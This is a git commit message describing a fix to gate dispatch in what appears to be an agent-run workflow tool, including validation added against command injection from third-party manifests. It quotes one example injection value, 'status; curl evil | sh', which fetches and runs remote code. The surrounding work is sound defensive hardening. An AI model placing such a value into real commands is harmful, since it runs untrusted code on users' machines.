Tom Boucher	fba3b9c24f	fix(#3559 ): dispatch every ship:pre capability gate, not two hardcoded capIds (#3608 ) * test(3559): failing-first coverage for generic ship:pre gate dispatch ship.md's preflight resolves every active ship:pre gate then enforces exactly two hardcoded capability IDs, so a third-party capability's blocking gate is resolved, evaluable, and silently dropped. These tests fail on that dispatch dead-end and pin the generic evaluator contract the fix will drive. * fix(3559): dispatch every ship:pre gate generically, not two hardcoded capIds ship.md's preflight resolved every active ship:pre gate via render-hooks and then enforced exactly two capability IDs — security and broken-windows. Every other capId, including any third-party capability's blocking gate, was resolved, evaluable, and silently dropped: a phase shipped past its own declared failing gate with nothing evaluated and nothing warned. Preflight now iterates every active kind=="gate" entry in array order, dispatching by check shape through the generic evaluator (gsd_run check predicate, ADR-2008) and honoring each gate's own blocking and onError — the contract execute:wave:post, execute:post and plan:post already implement and references/loop-hook-dispatch.md already specifies. docs/how-to/command-exit-zero-gate.md already documented ship:pre as auto-dispatching, so this restores documented behavior rather than changing it. security and broken-windows are retained verbatim as named specializations INSIDE the loop, so their bespoke fail-closed reads are unchanged and every gate is visited exactly once — no double-enforcement is representable. Also corrects two CONTEXT.md predicates that described the hardcoded shape, and the test file's header note claiming ship:pre has no runnable evaluator (stale since #2008). Fixes #3559 * fix(3559): validate third-party gate checks in-context before any shell use Adversarial + security review of the generic dispatch arm this PR introduces. SECURITY (introduced by this PR): the new every-other-capId arm is the first path on which a THIRD-PARTY capability manifest string reaches a shell at ship:pre — before it, dispatch never left the two first-party arms. gates[].check is not one of the four executable surfaces the install consent prompt discloses (hooks, command modules, mcpServers, reviewer lanes), so a capability can be consented to as declarative-only and still reach a shell here. An unvalidated check.query of 'status; curl evil \| sh' would be interpolated straight into a command substitution. The arm now carries the same in-context validation contract loop-hook-dispatch.md already mandates for ref.command, and the predicate arm is specified as a single argv element so an apostrophe cannot close the literal. TESTS: the first-cut regression tests only asserted that the shared loop phrase and the evaluator substrings co-occurred. A partial regression that kept the phrase but deleted the default arm would have passed them. Added a structural assertion that a distinguishable catch-all arm exists, comes after every named branch, and is where the generic evaluator is actually invoked. REFERENCE DRIFT: loop-hook-dispatch.md documented onError as skip/'fail', but the generated registry, all 35 manifest declarations, and all four dispatch sites use skip/halt — 'fail' appears nowhere. Corrected, since this PR newly cites that doc as ship.md's authority. Also notes the named-query arg convention's provenance (mirrors verify:pre verbatim; no capability declares a ship:pre query gate today). * fix(3559): close the same gate-check injection at all four sibling dispatch sites Maintainer directed fixing the sibling sites inline rather than filing them. The command-injection surface fixed at ship:pre is a FAMILY property, not a site property: every workflow that interpolates a manifest-supplied check.query into a shell command substitution has it. Root cause is in the contract, not the sites — references/loop-hook-dispatch.md mandates in-context validation for step -> ref.command and OMITS the same requirement for gate, so all four gate consumers inherited an unstated rule. Closed at the source (the reference's gate section now carries the rule) and at every consumer: execute-phase.md execute:wave:post, execute:post plan-phase.md plan:post verify-work.md verify:pre ship.md ship:pre (already hardened in a2d84a77) TESTS: section 6 enumerates the family by DISCOVERY, not by a hardcoded list, so a new dispatch site added later without the validation contract fails instead of shipping — the same 'hardcoded list silently misses members' mistake #3559 itself was. It asserts, per discovered site, that the charset is pinned, that validation is specified as in-context, and that the rule appears BEFORE the interpolation it guards (an executing agent reads top-down). A floor assertion fails the section if the discovery regex ever stops matching, so it cannot pass vacuously. Two further tests pin the reference's gate section and the halt/skip onError vocabulary. Sizes all within tier caps: execute-phase 94378/98304, plan-phase 91008/98304, verify-work 39488/61440, ship 38067/40960. Drift acks amended for each. * fix(3559): fit the validation mandate under the frozen pre-phase-6 ceiling The previous commit blew tests/claude-orchestration.test.cjs's frozen ADR-857 pre-phase-6 ceiling for execute-phase.md (93600): the file had only 209 bytes of headroom and the inline validation paragraph added 987. That ceiling is a ratchet proving Phase 6 extraction happened — raising it is never the answer. Restructured so the RULE lives once, in the reference's gate section (charset, in-context, single-argv, and the consent-surface rationale), and each of the five dispatch sites carries a terse mandate plus a pointer to it. That is strictly better than five verbatim restatements: this PR exists partly because the reference and its implementations had already drifted apart on the onError vocabulary, and five copies of a security rule is that same failure waiting to recur. execute-phase.md already eagerly inlines the reference (@-form at its step-hook dispatch), so an executing agent has the full rule in context regardless. Also reclaimed genuinely duplicated bytes at the execute:post site, whose prose restated both commands the fenced block immediately below already shows, and whose tail restated the two-step contract that the execute:wave:post site spells out in full. Net sizes vs origin/next: execute-phase.md 93365 (-26, SHRINKS) pre-phase-6 93600, margin 235 (was 209) plan-phase.md 90627 (+111) tier cap 98304 verify-work.md 39107 (+111) tier cap 61440 ship.md 36784 (+3058) tier cap 40960 Because execute-phase.md now shrinks, its drift-ack entry was reverted — an ack that is never consumed is reported as STALE and fails the check. The other three acks carry corrected byte figures. Tests follow the same split: section 6 asserts the mandate + pointer per discovered site and the full rule in the reference; section 5's security test drops the inline charset assertion it can no longer make of ship.md. * fix(3559): repair an over-escaped regex in the security assertion /loop-hook-dispatch\\.md/ matched a literal backslash before .md, so it could never match and the [security] assertion failed on the remote runner even though the prose it checks was correct. The over-escaping came from nesting a regex through a shell string into a node -e script; the sibling literal in section 6, written via a quoted heredoc, was unaffected. The reason this reached the runner at all is that the local check re-typed the regex by hand instead of executing the one in the file, so it validated a different pattern than the test used. Replaced that habit with two harnesses that read the literals FROM the source: one asserts every regex literal in the file matches something in the real workflow/reference corpus (catching over-escaping generically), the other evaluates the [security] and section-6 literals against their actual targets. * chore(3559): backfill changeset PR number (#3608) --------- Co-authored-by: sim <sim@local>	2026-08-17 22:28:05 -04:00
